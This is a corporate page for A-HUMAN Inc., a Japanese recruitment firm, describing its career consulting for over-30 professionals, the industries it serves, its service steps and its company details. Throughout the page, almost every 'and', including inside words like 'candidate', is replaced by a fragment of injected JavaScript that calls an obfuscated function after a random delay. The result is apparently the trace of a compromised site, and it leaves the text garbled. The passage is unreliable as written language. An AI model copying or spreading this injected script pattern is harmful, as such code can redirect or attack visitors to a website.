A-HUMAN Inc.

We are eager to contribute to the growth of individuals and corporations that are serious about careers.

Concept

Career development
for middle management

Our career consulting is centered on business persons over 30 with accumulated real-world business experience aiming to boost their careers. We believe that fully developing the careers for this group of “middle management” is the source for activating the corporation. Working toward this end, we are running “A-HUMAN career training” in which we support designing career paths of over-30s.

A・HUMAN Inc

A trusted partner for human resources andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and organizations you can count on

The “A” in our company name, A-HUMAN, is for ambition. Our top-class consultants continue to have great ambitions, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that is our raison d’etre. Our consultants are required to attain Search andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Recruitment Consultant certification; accreditation that is a licensing standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard started by the Japan Executive Search andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Recruitment Association.

Consultation

Our detailed consultation
connects people with industry.

Our consultants with specialties in each field of industry contact candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates showing interest in changing careers by registering at our website, attending our seminars, or using scouts. Interviews serve as hearings so that we can know the kind of industry andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and job duties that candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates would like to take on. Consultation is to evaluate the skills they have acquired in their careers thus far. We then decide if a recruit is perfectly suited to the needs of a corporation, check upon their will andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and desire, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and set up an introduction.

A-HUMAN has consulting specialists
in the following fields

  • IT/communications/
    information

  • banking/securities/
    insurance

  • medicine/healthcare/
    medical equipment

  • electrician/
    electronics/
    semiconductors

  • engineering
    mechatronics

  • food/bio/chemicals

  • automotive/auto parts

  • welfare/education

  • distribution/apparel/
    service industry

  • consulting firms

  • mass communication

  • management/
    specialist

Service concept chart

Organizational structure to support both
candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate’s career development andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and client’s growth

Point

  • 01 04

    Consultation done thoroughly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and face-to-face

    Upon understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding the resource value of a candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate, a consultant provides a complete andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and enriching consultation that is upfront andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and face-to-face. There we can discover a new value for the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate by solidifying the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate’s career plans andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and giving advice on their next place of work. With our goal being to provide ‘happy careers,’ we have even more communication with consultees like never before andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and confirm all levels of satisfaction after the job transfer has been executed. It gives us great pleasure to realize ‘happy careers’, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to provide long lasting support for those careers.

  • 02 04

    Consultants with a high level of expertise are ready for action

    Our career consultants specialize in specific industries andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and because of their abundant knowledge of the industry, we are able to offer you the best recruiters, the best evaluation of skill, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the best career consultation. Most of our consultants are veteran professionals who have built solid careers for themselves in their respective industries. That is precisely why they have a fine-tuned grasp on business trends as well as the specific requirements for recruitment. It is also the reason they are able to provide a perfect evaluation of experience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and skill, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and even uncover ‘hidden assets’ that you may not have been aware of.

  • 03 04

    Every process is handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andled by one consultant

    We base our strength on our consultants’ abilities to handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle every process from appointing interviews with corporate recruitment representatives, to searching for candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates, providing face-to-face career consultation, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and follow-up. During interviews with candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates we think about the kind of job that a candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate is capable of, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and during interviews with corporate recruitment representatives we assess the kind of recruit which the company requires. We believe that the best match between candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recruiter can be found through the management of one consultant.

  • 04 04

    Abundance of knowledge for recruitment strategies

    Our strength also lies in being able to cooperate intimately as an advisor with the recruitment departments of corporations as they carry forward with their business strategies. We believe that the fact that we take on many projects not publicized by companies is further proof of that strength. Human Associates Group, a multi-disciplined recruitment firm providing a wide range of services covering everything from recruiting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dispatch to searching for executives andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and employment counseling services like EAP (Employment Assistance Program), has what it takes to build solid business relationships.

Service flow

  • 01Entry

    Entry may be done through our homepage or through a recruitment aggregate website.
  • 02Interview

    After contact is made by telephone or email, we interview candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates to confirm their career status andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and each of their skills.
  • 03Introduction of
    openings

    New openings are displayed based on candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate desire andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and skill. After the candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate chooses an opening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has their suitability confirmed, we then submit an application to the given company.
  • 04Job interviews

    Candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidate applications are screened andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and those selected proceed to the interview stage at the company. We set up the date andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and time, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in some cases we accompany applicants during the interview.
  • 05Job offer

    We offer to help proactively when modification to the terms of employment is required in the last stage of recruitment.
  • 06Follow-up

    We make close contact with the recruits whom we have introduced after they have entered a company andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and devote ourselves to advancing their profession andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and establishing them, working at the same time to maintain andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and continue a good relationship with the recruiting entity.

Corporate data

Name of Company
A-HUMAN INC.
Address
4th Floor Aoyama 1 chome Tower, 1-3-3 MinamiAoyama, Minato-ku, Tokyo 107-0062
Founded
November 1, 2000
Capital
30 million yen
Type of Business
Recruitment
Authority
CEO, Kiyohiko Tsukada
Health, Labor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Welfare Ministry License Number
13-yu-040366

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